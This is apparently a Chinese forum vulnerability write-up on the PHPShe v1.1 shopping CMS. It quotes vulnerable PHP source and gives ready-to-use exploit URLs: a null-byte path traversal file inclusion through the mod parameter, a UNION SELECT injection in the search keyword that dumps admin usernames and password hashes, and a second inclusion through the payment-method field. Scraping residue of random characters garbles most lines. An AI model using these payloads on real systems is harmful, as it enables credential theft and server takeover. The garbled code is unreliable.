phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
0 U' }; t4 U! |8 F# f, X: d/* Phpshe v1.1 Vulnerability
( ^4 p8 E1 f2 [2 i& l% K/* ========================
- ?! j& B5 m) J8 _/ o7 m8 j+ G/* By: : Kn1f3
/* E-Mail : 681796@qq.com
8 v, S2 N0 d7 L/*******************************************************/
8 _" }7 f7 s; v' J0 R! F0×00 整体大概参数传输
/ l* ~( n: @( Q
6 B. i# y2 c) u/ P7 n8 m
8 o# X5 E" e7 m3 E# s5 L( {0 v& E
//common.php
* O( x6 m1 m* Y2 O2 Mif (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
" b2 F8 @! ^. x. }1 I!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
3 {! H8 D1 \& [0 o. |) celse {
* C( r: d( Q$ V!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
* N, }, K4 }+ m$ ]!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
4 B( F9 k' Q  |& B!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

, J  a5 J  g( S0×01 包含漏洞

4 {/ e& N  {' f1 ^$ |0 @* U
//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
! S, |# I, p6 G2 m) [( `include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
, A7 j5 ^7 R9 ^* s8 T- \; Bpe_result();
+ c) u! d- N5 X$ N?>
  `' h* Q4 ~) o) y7 ?# N/ X//common 文件 第15行开始
  l7 v, V& c+ }; ], Y+ K: x' Aurl路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
9 u) s& A* E# r* @5 G( M: k$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$ U) K0 S  ^" q/ x  M# {; s1 g7 h$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
4 C7 u7 _2 u. g4 n3 ~//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

: q& g! L2 c  m! R1 m* K
! X1 _: A; @% k0 _! a. R 0×02 搜索注入

<code id="code2">

//product.php文件
case 'list':
* K" }3 b2 x) ?! S2 c$category_id = intval($id);
9 X/ @; C7 k/ |$info = $db->pe_select('category', array('category_id'=>$category_id));
1 @7 `, M$ h. A1 b//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
9 k* D( h" t! B( C+ ?" U8 @2 [9 z( Ewhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
3 K& o, p/ b1 v9 a7 U$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
; [8 @' P, R+ ~( ~% W# F1 Y5 S$orderby = explode('_', $_g_orderby);
% c2 F" H# E- E$ T# o5 l! u+ h$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
: ]( B- a2 R! G8 U}
else {
6 W+ v9 o( z0 n7 K5 A$sqlwhere .= " order by `product_id` desc";
}
3 Y1 u2 \4 }% Q6 Y$ s7 r$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
' V5 J5 ~8 ?$ G2 J//热卖排行
9 J8 v1 T6 f7 p, p1 g9 E( R$product_hotlist = product_hotlist();
//当前路径
4 a2 }. \- ]* F7 n9 D& {  |) S2 g! b$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
+ {  T5 F" Z; L- _8 Rinclude(pe_tpl('product_list.html'));
//跟进selectall函数库
/ C  G; T; O5 e  ]  Mpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
% i9 `2 G2 T& b& |/ D1 w7 _//处理条件语句
! K( P  M4 B% c; c) v8 |+ l6 o$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
9 `& S; p7 J- ]* o2 {4 [; Iproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

0×03 包含漏洞2
( \) L5 Z& {/ ?7 o6 l
<code id="code3">

//order.php

case 'pay':

& d1 A( ^  ]! i. v, T$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

, u3 y6 p; E" g  s6 g& T! `+ X$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

  h" }8 `7 K9 R& c* @# Y5 w$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

0 h6 {2 T! Y2 G/ K0 C}

5 B2 a1 ~& L  [( D* ]( ]( y6 n}

" A' n8 N  X+ b! ~- P' R$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

5 K  u+ ]2 O$ V!$order['order_id'] && pe_error('订单号错误...');

; }  ?3 H4 F- R. _8 jif (isset($_p_pesubmit)) {

0 h. Z( ~4 k: h+ ^/ pif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

* q  L: Z7 D: Z( C6 m$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

8 w9 K1 |8 _0 f$ z: ^5 s; H% Uforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
9 ?4 A! E0 f& k6 [7 s

}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

3 l7 {9 i# K' H3 C0 Oelse {

pe_error('支付错误...');

5 e3 w9 o& {! `* I* }}

* m  b, G) i$ U- R}

! L! k; V$ [6 m+ n; s$seo = pe_seo('选择支付方式');

$ _+ C/ E- ]) X3 z. ^include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>